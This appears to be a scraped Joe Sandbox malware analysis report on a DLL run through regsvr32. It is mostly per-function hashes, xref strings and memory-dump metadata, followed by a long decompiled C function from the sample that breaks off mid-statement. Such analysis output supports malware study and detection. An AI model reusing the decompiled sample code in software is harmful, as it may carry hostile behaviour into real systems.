Instruction Fuzzy Hash: 649179B190038E8FDF48CF68D88A5DE7BB0FB14348F104A19FC66AA250D7B4D665CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015A00 Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

k' {, xrefs: 0000000180015C91
z5, xrefs: 0000000180015C39

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: k' {$z5
API String ID: 0-3484172565
Opcode ID: 0e04fcac124a95f8f36ba453d1c940f3a314ae21d4948ab7b59fa2d7b687fabd
Instruction ID: f3fd1e90e43dcdabcda5b8ddef7002da2b75354ce23c1d98976d91010befda79
Opcode Fuzzy Hash: 0e04fcac124a95f8f36ba453d1c940f3a314ae21d4948ab7b59fa2d7b687fabd
Instruction Fuzzy Hash: 3D810770500B4DCFEB88DF14C88A6DA7BA1FB58348F114329FC89AA290D778D954CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000AAB8 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

6, xrefs: 000000018000AAEC
D, xrefs: 000000018000AC1C

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6$D
API String ID: 0-3309211938
Opcode ID: 28cfe374c9252ae38f661a0063e52509a8c1d1e6d70719d53b6096594a4bb1b4
Instruction ID: 6891dfd18fe83144012269f9c96fef4f344aaa150d37ee3929e0f0fd7c759199
Opcode Fuzzy Hash: 28cfe374c9252ae38f661a0063e52509a8c1d1e6d70719d53b6096594a4bb1b4
Instruction Fuzzy Hash: A151287052468D9BEBD9CE28D889AD93BE4FB05344F90626CFC46C7292C774D88ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007530 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

#T, xrefs: 00000001800075B2
(Pv0, xrefs: 000000018000768B

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #T$(Pv0
API String ID: 0-2531358951
Opcode ID: 75b81112f69fa21036012adbd1b3eca6c2c2cdc881b6fb35e88803ec9910d9b1
Instruction ID: e1c0b604d20f388c2e9fa9875547eb2ae321cc4e62973911aeefaa32577e5226
Opcode Fuzzy Hash: 75b81112f69fa21036012adbd1b3eca6c2c2cdc881b6fb35e88803ec9910d9b1
Instruction Fuzzy Hash: EF51527050070D8BDF99CF14C88A2DE3BA0FB28398F215619FC4A96295D778DA99CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013B14 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

%9, xrefs: 0000000180013BB8
$, xrefs: 0000000180013BFF

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $$%9
API String ID: 0-3031553271
Opcode ID: a2fbf9250aa57a4feebe03f3fe744e7023f0b6fc9b26e85352855d54e5bc5225
Instruction ID: 54c5a80f3883dfb256f4dd2477ff96a685e9a6e09d138e1e961ab87cf6b7d9c1
Opcode Fuzzy Hash: a2fbf9250aa57a4feebe03f3fe744e7023f0b6fc9b26e85352855d54e5bc5225
Instruction Fuzzy Hash: 7A41517061CB889BE7D4CF18C0C675EBAE1FB88354F50992DF486C7291CB34C9488742

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B07C Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

s=z, xrefs: 000000018000B235
gd, xrefs: 000000018000B208

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: gd$s=z
API String ID: 0-3301279615
Opcode ID: 9e0a1eb710f150882f220fbe0277e01504bf60581961d70543420594e9a038f4
Instruction ID: e12f7abf7e1646e03ffefd51c14a626856f2d06b6089b825a6d0c7ce2710f6de
Opcode Fuzzy Hash: 9e0a1eb710f150882f220fbe0277e01504bf60581961d70543420594e9a038f4
Instruction Fuzzy Hash: 5351E2B190030A8FDB48CF68D48A5DE7FB1FB68388F204219F856A6250D37886A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006138 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

ke&Q, xrefs: 00000001800061EC
!oW!, xrefs: 00000001800062B0

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !oW!$ke&Q
API String ID: 0-419570616
Opcode ID: e2a8cd98534a9e183c53210f0dafbd08af185e336335754ed42f3b5ed718b376
Instruction ID: f10824f6d306730ae5ddde6f4b330bf6ff03ec39a87deaa5cd3ae98157f77b8d
Opcode Fuzzy Hash: e2a8cd98534a9e183c53210f0dafbd08af185e336335754ed42f3b5ed718b376
Instruction Fuzzy Hash: 3451C5B090074E8FDB48CF68C88A5DE7FB0FB68398F104619EC55A6290D7B496A5CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004758 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

P, xrefs: 0000000180004886
?j|, xrefs: 00000001800047F0

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?j|$P
API String ID: 0-615948335
Opcode ID: 9620d1bc63c4dfd4b8964090179e5af9b100705a6683f45fc5812d04fd3ae6d4
Instruction ID: e083b782133bff97ac611a90fca09b9432a527a6c3c58732294d9cad5bb63236
Opcode Fuzzy Hash: 9620d1bc63c4dfd4b8964090179e5af9b100705a6683f45fc5812d04fd3ae6d4
Instruction Fuzzy Hash: 6851D3B190034A8FDB88CF64C48A5DE7FB1FB68388F50461DE816A6390D77896A4CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015880 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

aI, xrefs: 00000001800158CF
%, xrefs: 00000001800158E3

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$aI
API String ID: 0-3604358270
Opcode ID: ea798d718599b15374f3be6d712fc75d69b65069e54809637e576d117a3edd33
Instruction ID: 60b26e58c2b3715e886fdbb46fed7d912a6a0108294b0b85bfc4e0af1d0d8c9e
Opcode Fuzzy Hash: ea798d718599b15374f3be6d712fc75d69b65069e54809637e576d117a3edd33
Instruction Fuzzy Hash: 7641D6B190038E8BCB48CF64C99A5DE7BB1FB48358F114A2DF82697350D3B49664CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018A2C Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

[, xrefs: 0000000180018AF9
j, xrefs: 0000000180018AB4

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j$[
API String ID: 0-3696242357
Opcode ID: d41960ad032d02aa43a06cacd4c3fdf514c501a5b8f19463d910750cf599ef8a
Instruction ID: 6e9b2c37d4dffe0134a752336090fab4f9acdfbf4f06be57d03c0851addb9628
Opcode Fuzzy Hash: d41960ad032d02aa43a06cacd4c3fdf514c501a5b8f19463d910750cf599ef8a
Instruction Fuzzy Hash: 8941E4B090074E8BDB48DF64C48A5DE7FB1FB58398F11861DE856A6290D3B4D6A4CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C058 Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

+ , xrefs: 000000018001C10B
S", xrefs: 000000018001C1A0

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: + $S"
API String ID: 0-2880694137
Opcode ID: 0a120380ba46ade300821e018fa54fd0c93605979f7eaf18b3fcea56eb471111
Instruction ID: 6b0a379fb9034c6b04a75f75559c7f8a55daf7f2d4a13c02b5983d7937849e9f
Opcode Fuzzy Hash: 0a120380ba46ade300821e018fa54fd0c93605979f7eaf18b3fcea56eb471111
Instruction Fuzzy Hash: 5B51B6B090078E8FDF88DF64C88A5DE7BB0FB58354F10461DE866A6250D3B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B130 Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

d%, xrefs: 000000018001B189
=K, xrefs: 000000018001B23E

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =K$d%
API String ID: 0-2790768846
Opcode ID: 046eeb3a7e312ef4597a0ceadb2c0b4017743bcb75cc6b1a2b492f4bea5b2233
Instruction ID: 28f11f72bd57b9c160c11f8c96faafd9cd3938dd8cd63b3b7cdbbcfffac466c9
Opcode Fuzzy Hash: 046eeb3a7e312ef4597a0ceadb2c0b4017743bcb75cc6b1a2b492f4bea5b2233
Instruction Fuzzy Hash: D541E5B090074E8BDF48CF64C88A5DE7BF0FB58358F10461DE86AA6250D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800095BC Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

#|, xrefs: 000000018000966C
`, xrefs: 00000001800096B4

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #|$`
API String ID: 0-1687004633
Opcode ID: 1dbd93d6a4af5ab501e4fd27d4ca136d79918f9d458c9bd4a0bbcc41cb67c6cc
Instruction ID: 48b97b9e3cf15f863ea29377157542673df9f910b3c89f6dd2ff2a233f1a3d89
Opcode Fuzzy Hash: 1dbd93d6a4af5ab501e4fd27d4ca136d79918f9d458c9bd4a0bbcc41cb67c6cc
Instruction Fuzzy Hash: 5E41D6B190078E8FDF88CF68C88A5DE7BF0FB58358F014619F856A6250D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C44C Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

j~;, xrefs: 000000018001C5B3
c, xrefs: 000000018001C581

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: c$j~;
API String ID: 0-3832213246
Opcode ID: 18b6bb2236c3d81442985b19945feacbaaab319f380d4d3d69fe49ad0df2425e
Instruction ID: ce31d15ffa6843bc035432f9d01b450b0e5b68c7f28db1eb8177825c9bb2bea9
Opcode Fuzzy Hash: 18b6bb2236c3d81442985b19945feacbaaab319f380d4d3d69fe49ad0df2425e
Instruction Fuzzy Hash: 7141A5B080078E8FDB88DF64C88A1DF7BB0FB58358F104A19EC6696250D7B49665CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007C08 Relevance: 2.6, Strings: 2, Instructions: 82COMMON

Download Yara Rule

Strings

-h, xrefs: 0000000180007D15
W, xrefs: 0000000180007C6A

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -h$W
API String ID: 0-4146498651
Opcode ID: ac1beb8efc805ec182d5897ee57bff0eb204918572bad0795e6a59dbf0da3e57
Instruction ID: 4f5c149cab185a437c6e34a096b66351b921c2c1d8e981d199a7d70d58ef1b14
Opcode Fuzzy Hash: ac1beb8efc805ec182d5897ee57bff0eb204918572bad0795e6a59dbf0da3e57
Instruction Fuzzy Hash: D341B4B590038E9FDB44CF68D88A5CE7FF0FB48358F114619F869A6250D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028A00 Relevance: 2.6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

Strings

., xrefs: 0000000180028A70
fp, xrefs: 0000000180028AC9

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .$fp
API String ID: 0-3298127435
Opcode ID: ddbbea76e87b75a0423c6c5dce58b2b1cb486f12ce18d3dc43adec7097cd1835
Instruction ID: fb4682cbdddbabe3c786a6130aa71542cd6699b10262e80c9963e46f355dddfc
Opcode Fuzzy Hash: ddbbea76e87b75a0423c6c5dce58b2b1cb486f12ce18d3dc43adec7097cd1835
Instruction Fuzzy Hash: BC41F4B190470E8BDB88CF64C48A4DE7FB0FB28398F104619E856A6290D3B89665CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008FB0 Relevance: 2.6, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

", xrefs: 0000000180008FC4
Zs, xrefs: 0000000180008FCC

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "$Zs
API String ID: 0-3922668666
Opcode ID: fb931c414af969dab499c3ab85aae469ce2991c1befa2d90c902ad3b97ec29af
Instruction ID: fe247bb546f448c61b00c73c5a49e96bf6819f787d3e7c7666903dc080b5156b
Opcode Fuzzy Hash: fb931c414af969dab499c3ab85aae469ce2991c1befa2d90c902ad3b97ec29af
Instruction Fuzzy Hash: 253172B1529380ABC788DF28D49A91EBBE1FBD5308F806A1DF8C686390D774D456CB47

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008A8C Relevance: 2.6, Strings: 2, Instructions: 68COMMON

Download Yara Rule

Strings

J, xrefs: 0000000180008AB1
uS, xrefs: 0000000180008B32

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: uS$J
API String ID: 0-437994327
Opcode ID: a2b51c32bad19ba39d4e427c2f512c2a59b50882f014cb68f936c9e880adca61
Instruction ID: cf7e31ed2736fb265c441ff48c56a0b65512a8070e4a44e8a033f9706a07b344
Opcode Fuzzy Hash: a2b51c32bad19ba39d4e427c2f512c2a59b50882f014cb68f936c9e880adca61
Instruction Fuzzy Hash: D731D8B190034E8FDB84CF64C8865DE7FB0FF28358F104619E859A6260D3B88655CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010A70 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

+@, xrefs: 0000000180010B69
%D*M, xrefs: 0000000180010B2E

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %D*M$+@
API String ID: 0-1237804223
Opcode ID: ed32837baa56233266a206708475947786b66675b8de08b09b61868be34ff6ab
Instruction ID: 77c79ad9ccf81e8898509e301fa2dfb9d3eaa88b780e4417435e2bfb69072e7b
Opcode Fuzzy Hash: ed32837baa56233266a206708475947786b66675b8de08b09b61868be34ff6ab
Instruction Fuzzy Hash: E0316BB15087848FD348DF28C45941ABBE1BB9C358F404B2DF4CAAA3A0D778D645CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BDA0 Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

H-, xrefs: 000000018001BE4D
IwD, xrefs: 000000018001BE2B

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H-$IwD
API String ID: 0-3517496749
Opcode ID: a1fcc0b6ce0ff3c066aef7a8c385c51d80758637835b3111c0aa85f1c6611224
Instruction ID: 2be5637fb502a485f9b51cad5224d6f4af42dd450ce53dfec36d1e6329a1eeea
Opcode Fuzzy Hash: a1fcc0b6ce0ff3c066aef7a8c385c51d80758637835b3111c0aa85f1c6611224
Instruction Fuzzy Hash: 2C215D705083848BD348EF28C45A42BBBE1BB8C348F444B1DF4CAAB360D778D655CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003CF4 Relevance: 2.6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

Strings

^, xrefs: 0000000180003D00
R, xrefs: 0000000180003D10

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^$R
API String ID: 0-3595634639
Opcode ID: a13be1d9d4e07766af824f7505f96f798cbcc2eb1368cb175b6768ef19fd0200
Instruction ID: 67a511b9b8bf957247b455dac81c901cd8f368f1683dfef8a4c364799943e81f
Opcode Fuzzy Hash: a13be1d9d4e07766af824f7505f96f798cbcc2eb1368cb175b6768ef19fd0200
Instruction Fuzzy Hash: 3C2180B0528781AFC388DF28D49591FBBF1FB88754F806A1DF8C68A2A0D774D505CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002FD4 Relevance: 2.6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

Strings

w, xrefs: 000000018000305F
t^, xrefs: 0000000180002FEB

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t^$w
API String ID: 0-1486493484
Opcode ID: 249acfc52b5373b6827d557e5693473e892c0988edb73c24679fc055baf0496b
Instruction ID: f12404db582a7cb71b68813d585b78a9406b57d14457eeb92252b7dc098868aa
Opcode Fuzzy Hash: 249acfc52b5373b6827d557e5693473e892c0988edb73c24679fc055baf0496b
Instruction Fuzzy Hash: BE218CB090479E8FDB48DF68D84919F7BF0FB18308F014A59E8299A250D3B89669CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004186A1 Relevance: 1.7, Strings: 1, Instructions: 487
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186A1(void* __rax, void* __rbx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr* _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t418;
				void* _t419;
				void* _t426;
				signed int _t430;
				signed short _t433;
				signed short _t434;
				signed short _t436;
				signed short _t439;
				signed short _t441;
				signed short _t442;
				signed short _t445;
				signed short _t446;
				signed short _t448;
				signed int _t450;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t455;
				signed short _t457;
				signed short _t459;
				signed short _t461;
				signed short _t462;
				signed short _t463;
				signed short _t464;
				signed short _t465;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t472;
				signed short _t473;
				signed short _t474;
				signed short _t478;
				signed short _t480;
				signed short _t481;
				signed short _t482;
				signed short _t484;
				signed short _t486;
				signed short _t488;
				signed short _t490;
				void* _t492;
				signed int _t495;
				signed short _t496;
				signed short _t497;
				signed short _t498;
				signed short _t499;
				signed int _t503;
				signed int _t504;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t509;
				signed short _t511;
				signed short _t513;
				signed short _t515;
				signed short _t516;
				signed short _t518;
				signed int _t520;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				signed short _t525;
				signed short _t527;
				void* _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t544;
				signed short _t550;
				signed int _t551;
				void* _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				signed int _t556;
				signed int _t557;
				signed int _t558;
				void* _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t564;
				signed int _t565;
				signed int _t566;
				signed int _t568;
				signed int _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				void* _t574;
				void* _t575;
				void* _t576;
				signed int _t577;
				signed int _t578;
				signed int _t579;
				signed int _t581;
				signed int _t583;
				signed int _t585;
				void* _t587;
				signed int _t588;
				signed int _t591;
				signed int _t593;
				signed int _t595;
				signed int _t596;
				void* _t598;
				signed int _t599;
				signed int _t601;
				signed int _t603;
				void* _t605;
				char _t712;
				intOrPtr* _t713;
				intOrPtr* _t715;
				intOrPtr* _t718;
				signed short* _t721;
				char* _t723;
				signed long long _t725;
				intOrPtr _t730;
				char* _t735;
				signed long long _t737;
				signed short* _t739;
				signed short** _t741;
				signed short* _t744;
				signed short* _t747;
				signed short* _t750;
				signed short** _t752;
				signed short* _t755;
				signed short* _t758;
				signed short** _t760;
				signed short* _t764;
				signed short* _t767;
				signed short** _t769;
				signed short* _t772;
				signed short* _t775;
				signed short* _t778;
				signed short* _t781;
				char* _t783;
				signed long long _t785;
				signed short* _t787;
				signed short** _t789;
				signed short* _t792;
				signed short* _t795;
				char* _t798;
				signed short* _t801;
				signed short** _t803;
				signed short* _t806;
				signed short* _t809;
				intOrPtr* _t811;
				signed short** _t813;
				signed short* _t816;
				signed short* _t819;
				signed short* _t822;
				char* _t824;
				signed int _t825;
				signed short* _t827;
				signed short** _t829;
				signed short* _t832;
				signed short* _t835;
				signed short* _t837;
				intOrPtr _t838;
				void* _t841;
				long long _t842;
				intOrPtr* _t843;
				signed short* _t846;
				long long* _t848;
				void* _t855;
				signed int _t858;
				signed short** _t861;
				signed short* _t864;
				signed short* _t869;
				signed short** _t871;
				signed short* _t875;
				signed short* _t878;
				signed short* _t881;
				intOrPtr* _t883;
				intOrPtr* _t884;
				intOrPtr* _t886;
				void* _t887;
				long long* _t888;
				intOrPtr* _t890;
				intOrPtr* _t892;
				intOrPtr* _t894;
				intOrPtr* _t896;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr _t913;
				intOrPtr* _t914;
				intOrPtr* _t915;
				intOrPtr* _t916;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t919;
				intOrPtr* _t921;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t928;
				intOrPtr* _t930;
				intOrPtr* _t931;
				intOrPtr* _t932;
				intOrPtr* _t934;
				intOrPtr* _t936;
				char* _t939;
				intOrPtr* _t941;
				intOrPtr* _t942;
				intOrPtr* _t943;
				intOrPtr* _t944;
				intOrPtr* _t946;
				intOrPtr* _t949;
				intOrPtr* _t951;
				char* _t953;
				intOrPtr* _t955;
				intOrPtr* _t957;
				intOrPtr* _t958;
				intOrPtr* _t959;
				intOrPtr _t960;
				char* _t961;
				signed long long _t963;
				void* _t965;
				intOrPtr _t968;
				intOrPtr _t969;
				intOrPtr* _t971;
				char* _t975;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t981;
				intOrPtr* _t983;
				intOrPtr* _t984;
				intOrPtr* _t986;
				intOrPtr* _t987;
				intOrPtr* _t989;
				intOrPtr* _t990;
				intOrPtr* _t993;
				signed int _t995;
				signed short* _t998;
				signed short* _t1002;
				signed short* _t1006;
				signed short* _t1009;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1022;
				signed short* _t1026;
				signed short* _t1035;
				signed short* _t1036;
				signed short* _t1039;
				signed short* _t1044;
				signed int* _t1050;
				signed int* _t1052;
				signed int* _t1053;
				signed int* _t1054;
				signed int* _t1055;
				signed int* _t1056;
				signed int* _t1057;
				intOrPtr* _t1058;
				signed int* _t1059;
				signed int* _t1060;
				signed int _t1061;
				void* _t1062;
				intOrPtr _t1063;
				intOrPtr* _t1064;
				long long _t1066;
				signed short* _t1068;
				intOrPtr* _t1069;
				char* _t1070;
				void* _t1074;
				long long* _t1077;
				signed int _t1079;
				signed int _t1082;
				long long _t1083;
				void* _t1085;
				void* _t1086;
				intOrPtr* _t1087;
				long long _t1088;
				char* _t1089;
				signed int _t1091;
				char* _t1092;
				void* _t1093;
				void* _t1094;
				char* _t1096;
				void* _t1097;
				signed int _t1098;
				char* _t1099;
				long long _t1100;
				signed int _t1102;
				void* _t1103;
				short* _t1104;
				long long _t1107;
				long long _t1108;

				_t1103 = __r15;
				_t1097 = __r14;
				_t1094 = __r13;
				_t1086 = __r12;
				_t1083 = __r9;
				_t1077 = __r8;
				_t1050 = __rdi;
				_t887 = __rbx;
				_t1062 = __rax;
				_t890 = _a16;
				if(_t890 != 0) {
					_t886 =  *_t890;
					_t418 =  *((intOrPtr*)(_t886 + 0x18))();
					if(_t886 != 0) {
						_t995 =  *_t886;
						_t418 =  *((intOrPtr*)(_t995 + 8))();
					}
				}
				_t712 = _v32;
				if(_t712 >= 0x10) {
					_t993 = _v56;
					if(_t712 + 1 >= 0x1000) {
						_t993 =  *((intOrPtr*)(_t993 - 8));
					}
					_t418 = E00402090(_t418, _t993);
				}
				_t419 = E0044CEA0(_t418, _t1062);
				asm("ud2");
				_t713 =  *_t1069;
				 *_t713 =  *_t713 + _t419;
				 *_t713 =  *_t713 + _t419;
				0;
				0;
				_t1070 =  &_v192;
				_a96 = _t1083;
				_t888 = _t1077;
				_t1098 = _t995;
				_t1063 = _a224;
				_t892 =  *((intOrPtr*)( *((intOrPtr*)(_t1063 + 0x40))));
				_v32 = _t892;
				_t715 =  *_t892;
				 *((intOrPtr*)(_t715 + 0x10))(_t887, _t1050, _t1062, _t1086, _t1094, _t1097, _t1103, _t1069, _t1074);
				E00412FF0(_t533, _t552, _t560, _t605,  &_v32, _t1077, _t1083, _t1085, _t1086, _t1094, _t1098, _t1103);
				_t1087 = _t715;
				_t894 = _v32;
				if(_t894 != 0) {
					_t884 =  *_t894;
					 *((intOrPtr*)(_t884 + 0x18))();
					if(_t884 != 0) {
						 *((intOrPtr*)( *_t884 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1087 + 0x30))();
				_t896 =  *((intOrPtr*)( *((intOrPtr*)(_t1063 + 0x40))));
				_a40 = _t896;
				_t718 =  *_t896;
				 *((intOrPtr*)(_t718 + 0x10))();
				E004119C0(_t533, _t552, _t560, _t605,  &_a40, _t1077, _t1083, _t1085, _t1098);
				_t1064 = _t718;
				_t898 = _a40;
				if(_t898 != 0) {
					_t883 =  *_t898;
					 *((intOrPtr*)(_t883 + 0x18))();
					if(_t883 != 0) {
						 *((intOrPtr*)( *_t883 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1064 + 0x68))();
				_t900 =  *_t888;
				_t571 = 0;
				_t561 = 0;
				if(_t900 != 0) {
